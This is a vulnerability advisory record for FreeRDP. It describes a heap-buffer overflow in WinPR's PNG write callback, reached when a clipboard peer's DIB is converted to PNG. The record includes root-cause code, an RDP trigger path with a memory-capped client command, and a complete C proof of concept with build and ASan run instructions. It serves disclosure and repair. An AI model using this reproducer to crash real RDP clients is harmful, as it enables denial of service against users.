{"schema":"threatline.record/2","record":{"id":"GHSA-wf3x-658c-52m5","aliases":["GHSA-wf3x-658c-52m5"],"summary":"Clipboard DIB-to-PNG conversion writes past the heap buffer after realloc failure","details":"# Clipboard DIB-to-PNG conversion writes past the heap buffer after realloc failure\r\n\r\n## Summary\r\n\r\nWinPR's libpng write callback retains the old output pointer when `realloc()` fails, but it tests only whether the pointer is non-NULL before copying the newly requested output chunk. It consequently writes past the committed allocation.\r\n\r\nA real RDP clipboard peer can supply the `CF_DIB` data and dimensions that are converted through the stock clipboard-to-PNG path. Under bounded client memory, one 2048x2048 DIB and one conversion reproducibly cause a native client `SIGSEGV`; retained repeated conversions are no longer required. A diagnostic run observed a physical heap overwrite before the fault, and changing peer-supplied pixels changed the bytes written out of bounds.\r\n\r\nThe direct ASan and real product-pipeline results were reproduced on source equivalent to commit `dbea8ef5d3eb680bbafbdeaf0cc81a6614070196` (`3.31.0-60-gdbea8ef5d`). Inspection of reporting-time upstream HEAD `69afd13014b3a5f5e32d649112ce6f06d8024449` (`3.31.0-121-g69afd1301`) confirms the vulnerable callback is still present.\r\n\r\n## Affected versions\r\n\r\n- Confirmed affected releases: FreeRDP `3.10.0` through `3.31.0`, when built with `WINPR_UTILS_IMAGE_PNG=ON` and libpng.\r\n- Regression commit: `83f2f21ad32270bd4b908a1d7104927e3aafe4e5`, first included in release `3.10.0`.\r\n- Dynamically tested development revisions: `3.31.0-58-gf4eed14aa` and `3.31.0-60-gdbea8ef5d`.\r\n- Confirmed affected source at reporting time: `3.31.0-121-g69afd1301`.\r\n- No patched upstream release was known at the time of reporting.\r\n\r\n## Root cause\r\n\r\nThe vulnerable code is `png_write_data()` in `winpr/libwinpr/utils/image.c`:\r\n\r\n```c\r\nsize_t nsize = p->size + length;\r\n\r\nif (p->buffer)\r\n{\r\n    char* tmp = realloc(p->buffer, nsize);\r\n    if (tmp)\r\n        p->buffer = tmp;\r\n}\r\nelse\r\n    p->buffer = malloc(nsize);\r\n\r\nif (!p->buffer)\r\n    png_error(png_ptr, \"Write Error\");\r\n\r\nmemcpy(p->buffer + p->size, data, length);\r\np->size += length;\r\n```\r\n\r\nWhen growth fails, `tmp == NULL`, but `p->buffer` still points to the old live allocation. The `if (!p->buffer)` test therefore does not report failure. The callback copies `length` bytes at the old logical end even though the allocation was not extended, then increases `p->size` as if the write succeeded.\r\n\r\n## Real RDP pipeline and native DoS\r\n\r\nThe exercised path is:\r\n\r\n```text\r\nTCP -> TLS -> RDP -> joined cliprdr channel\r\n    -> CB_FORMAT_LIST(CF_DIB)\r\n    -> CB_FORMAT_DATA_RESPONSE\r\n    -> ClipboardSetData(CF_DIB)\r\n    -> ClipboardGetData(image/png)\r\n    -> WinPR image conversion\r\n    -> libpng png_write_data()\r\n    -> failed output growth followed by out-of-bounds memcpy\r\n```\r\n\r\nThe peer sends one legal 2048x2048, 32-bpp DIB. The client performs one PNG conversion. The accepted trigger uses an ordinary `RLIMIT_AS=210000 KiB`; it uses no allocator wrapper, selected failure ordinal, preload interposition, retained results, repeated conversion, private setter or modified upstream source.\r\n\r\nRepresentative client command shape:\r\n\r\n```sh\r\nprlimit --as=$((210000 * 1024)) -- \\\r\n  ./clipboard-client --server=127.0.0.1 --port=43201 \\\r\n  --request-format=CF_DIB --convert-to=image/png \\\r\n  --repeat=1\r\n```\r\n\r\nObserved current/fix/control matrix:\r\n\r\n| Case | Vulnerable build | Repaired build |\r\n| --- | --- | --- |\r\n| 2048x2048 DIB, one conversion, 210000 KiB | native `SIGSEGV` 3/3 | clean NULL, 3/3 |\r\n| 1024x1024 DIB, one conversion, same cap | clean 3/3 | clean 3/3 |\r\n| 2048x2048 DIB, one conversion, no cap | clean 3/3 | clean 3/3 |\r\n\r\nEvery row completed TLS/RDP, one clipboard format list and one 16,777,256-byte format-data response before conversion.\r\n\r\nDirect ASan testing at exact failed-growth boundaries reports `heap-buffer-overflow` in `png_write_data()` through both the exported WinPR image API and the stock `ClipboardGetData(CF_DIB -> image/png)` synthesizer.\r\n\r\n## Observed write boundary\r\n\r\nAn observer-only diagnostic recorded this natural failed growth:\r\n\r\n```text\r\ncommitted output size: 3404701 bytes\r\nrequested new size:    3412893 bytes\r\nnext write length:        8192 bytes\r\n```\r\n\r\nThe callback started the 8192-byte libpng copy at `owner + 3404701`. In the accepted layout, 3,155 bytes were physically written into mmap tail slack before the copy reached an unmapped boundary and raised `SEGV_MAPERR`. The observed destination was not a live adjacent object.\r\n\r\nTwo equal-size DIBs with different peer-controlled pixel seeds generated equal-length PNGs. All 51 bytes in the observed overflow window differed, and 8,165 of the requested 8,192 chunk bytes differed. This shows that remote image content materially influences the out-of-bounds bytes. It does not establish independent control of every byte or the destination.\r\n\r\n## Build\r\n\r\n```sh\r\ngit clone https://github.com/FreeRDP/FreeRDP.git\r\ncd FreeRDP\r\ngit checkout --detach dbea8ef5d3eb680bbafbdeaf0cc81a6614070196\r\n\r\ncmake -S . -B build -G Ninja \\\r\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\r\n  -DBUILD_SHARED_LIBS=ON \\\r\n  -DWITH_SERVER=ON \\\r\n  -DWITH_SAMPLE=ON\r\ncmake --build build\r\n```\r\n\r\nEnsure that libpng development files are installed and `WINPR_UTILS_IMAGE_PNG` is enabled in the configuration summary. For sanitizer attribution, add:\r\n\r\n```sh\r\n-DCMAKE_C_FLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \\\r\n-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \\\r\n-DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'\r\n```\r\n\r\n## Impact and limitations\r\n\r\nThis demonstrates a clipboard-peer-influenced client heap overflow and denial of service under bounded client memory. The peer controls the DIB dimensions and influences the deflate bytes written out of bounds. PNG support, client-side PNG conversion and a local memory ceiling are still required in the stable native reproducer; repeated conversion and retained outputs are not. The partial PNG is not returned to the caller or sent back over cliprdr. No information disclosure, arbitrary address/value write, live-object replacement, instruction-pointer control or code execution was demonstrated.\r\n\r\n## Suggested repair\r\n\r\nTrack callback failure separately from pointer ownership. If `realloc()` fails, mark the encoder failed and do not perform the copy or advance `p->size`. After libpng returns, release the retained output buffer and return a clean error through the existing row-allocation cleanup path.\r\n\r\nA matched one-file repair using this approach returned NULL safely in all selected runs, stayed clean under ASan and passed the normal image/clipboard tests.\r\n\r\n## Minimal ASan reproducer (no attachment required)\r\n\r\nSave the following as `clipboard_png_realloc_poc.c`. It constructs a valid `CF_DIB`, stores it in a real WinPR clipboard, and requests the stock synthesized `image/png` format. The fifth PNG callback realloc is failed deterministically so ASan attributes the resulting write directly to `png_write_data()`.\r\n\r\n```c\r\n#define _GNU_SOURCE\r\n\r\n#include <errno.h>\r\n#include <stdatomic.h>\r\n#include <stdint.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n\r\n#include <winpr/clipboard.h>\r\n#include <winpr/image.h>\r\n\r\nextern void* __interceptor_realloc(void*, size_t);\r\n\r\nstatic _Atomic unsigned long armed;\r\nstatic _Atomic unsigned long calls;\r\n\r\nvoid* realloc(void* owner, size_t size)\r\n{\r\n    if (!atomic_load_explicit(&armed, memory_order_relaxed))\r\n        return __interceptor_realloc(owner, size);\r\n\r\n    const unsigned long ordinal =\r\n        atomic_fetch_add_explicit(&calls, 1, memory_order_relaxed) + 1;\r\n    fprintf(stderr, \"PNG realloc %lu: %zu bytes\\n\", ordinal, size);\r\n    if (ordinal == atomic_load_explicit(&armed, memory_order_relaxed))\r\n    {\r\n        errno = ENOMEM;\r\n        return NULL;\r\n    }\r\n    return __interceptor_realloc(owner, size);\r\n}\r\n\r\nstatic uint32_t next_random(uint32_t* state)\r\n{\r\n    uint32_t x = *state;\r\n    x ^= x << 13;\r\n    x ^= x >> 17;\r\n    x ^= x << 5;\r\n    *state = x;\r\n    return x;\r\n}\r\n\r\nint main(void)\r\n{\r\n    enum { WIDTH = 128, HEIGHT = 128, STRIDE = WIDTH * 4 };\r\n    wImage image = { 0 };\r\n    BYTE* pixels = malloc((size_t)STRIDE * HEIGHT);\r\n    if (!pixels)\r\n        return 1;\r\n\r\n    uint32_t state = 0x6a09e667U;\r\n    for (size_t i = 0; i < (size_t)STRIDE * HEIGHT; i++)\r\n        pixels[i] = (BYTE)next_random(&state);\r\n\r\n    image.type = WINPR_IMAGE_BITMAP;\r\n    image.width = WIDTH;\r\n    image.height = HEIGHT;\r\n    image.data = pixels;\r\n    image.scanline = STRIDE;\r\n    image.bitsPerPixel = 32;\r\n    image.bytesPerPixel = 4;\r\n\r\n    size_t bmp_size = 0;\r\n    void* bmp = winpr_image_write_buffer(&image, WINPR_IMAGE_BITMAP, &bmp_size);\r\n    if (!bmp || bmp_size <= sizeof(WINPR_BITMAP_FILE_HEADER))\r\n        return 2;\r\n\r\n    wClipboard* clipboard = ClipboardCreate();\r\n    const UINT32 png = ClipboardRegisterFormat(clipboard, \"image/png\");\r\n    const BYTE* dib = (const BYTE*)bmp + sizeof(WINPR_BITMAP_FILE_HEADER);\r\n    const size_t dib_size = bmp_size - sizeof(WINPR_BITMAP_FILE_HEADER);\r\n    if (!clipboard || !png || dib_size > UINT32_MAX ||\r\n        !ClipboardSetData(clipboard, CF_DIB, dib, (UINT32)dib_size))\r\n        return 3;\r\n\r\n    atomic_store_explicit(&calls, 0, memory_order_relaxed);\r\n    atomic_store_explicit(&armed, 5, memory_order_release);\r\n    UINT32 png_size = 0;\r\n    void* output = ClipboardGetData(clipboard, png, &png_size);\r\n    atomic_store_explicit(&armed, 0, memory_order_release);\r\n\r\n    fprintf(stderr, \"output=%p size=%u realloc_calls=%lu\\n\", output,\r\n            png_size, atomic_load_explicit(&calls, memory_order_relaxed));\r\n    free(output);\r\n    ClipboardDestroy(clipboard);\r\n    free(bmp);\r\n    free(pixels);\r\n    return 0;\r\n}\r\n```\r\n\r\nBuild the tested revision with libpng enabled, then compile and run the PoC:\r\n\r\n```sh\r\nsudo apt-get install -y clang cmake ninja-build pkg-config libpng-dev\r\ngit clone https://github.com/FreeRDP/FreeRDP.git\r\ncd FreeRDP\r\ngit checkout --detach f4eed14aa8dadc44df320dcdde9dd8329a643d58\r\n\r\nFLAGS='-O1 -g -fno-omit-frame-pointer -fno-optimize-sibling-calls -fsanitize=address,undefined'\r\ncmake -S . -B build-asan -G Ninja \\\r\n  -DCMAKE_BUILD_TYPE=Debug \\\r\n  -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \\\r\n  -DCMAKE_C_FLAGS=\"$FLAGS\" -DCMAKE_CXX_FLAGS=\"$FLAGS\" \\\r\n  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \\\r\n  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' \\\r\n  -DBUILD_SHARED_LIBS=ON -DWINPR_UTILS_IMAGE_PNG=ON -DWITH_LODEPNG=OFF \\\r\n  -DWITH_CLIENT=OFF -DWITH_SERVER=OFF -DWITH_CHANNELS=OFF \\\r\n  -DWITH_SAMPLE=OFF -DWITH_X11=OFF -DWITH_WAYLAND=OFF \\\r\n  -DWITH_FFMPEG=OFF\r\ncmake --build build-asan --target winpr\r\n\r\nclang -std=gnu11 -O0 -g -fsanitize=address,undefined \\\r\n  -fno-omit-frame-pointer -fno-optimize-sibling-calls \\\r\n  -Ibuild-asan/winpr/include -Iwinpr/include ../clipboard_png_realloc_poc.c \\\r\n  -Lbuild-asan/winpr/libwinpr -lwinpr3 \\\r\n  -Wl,-rpath,\"$PWD/build-asan/winpr/libwinpr\" -ldl -pthread \\\r\n  -o clipboard_png_realloc_poc\r\n\r\nASAN_OPTIONS='detect_leaks=0:allocator_may_return_null=1:halt_on_error=1:symbolize=1' \\\r\nUBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \\\r\n./clipboard_png_realloc_poc\r\n```\r\n\r\nExpected result on the vulnerable revision:\r\n\r\n```text\r\nPNG realloc 5: 8233 bytes\r\nERROR: AddressSanitizer: heap-buffer-overflow\r\nWRITE of size 8192\r\n    ... png_write_data ... winpr/libwinpr/utils/image.c\r\n    ... ClipboardGetData ... winpr/libwinpr/clipboard/clipboard.c\r\n```\r\n\r\nUsing ordinal 8 is a second stable boundary (`8245 -> 16437`, followed by another 8192-byte write). Using a non-existent ordinal such as 999 is a clean success control. On the one-file repair, ordinals 5 and 8 both return `NULL` with output size zero and no sanitizer error.\r\n","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-wf3x-658c-52m5","source_modified_at":"2026-09-28T08:03:32Z","fetched_at":"2026-10-23T21:14:28.314422Z","package":{"ecosystem":"other","name":"FreeRDP"},"range":">= 3.10.0, <= 3.31.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-wf3x-658c-52m5","source_modified_at":"2026-09-28T08:03:32Z","fetched_at":"2026-10-23T21:14:28.314422Z","package":{"ecosystem":"other","name":"FreeRDP"},"version":"3.32.0"}],"cvss":null,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-28T08:03:32Z","modified_at":"2026-09-28T08:03:32Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-wf3x-658c-52m5","fetched_at":"2026-10-23T21:14:28.314422Z","source_modified_at":"2026-09-28T08:03:32Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-28T08:03:32Z","content_hash":"4a170605ae565168f1a112f9c57f68537d67a3d325b6b357be28d1e39db9530b"}}
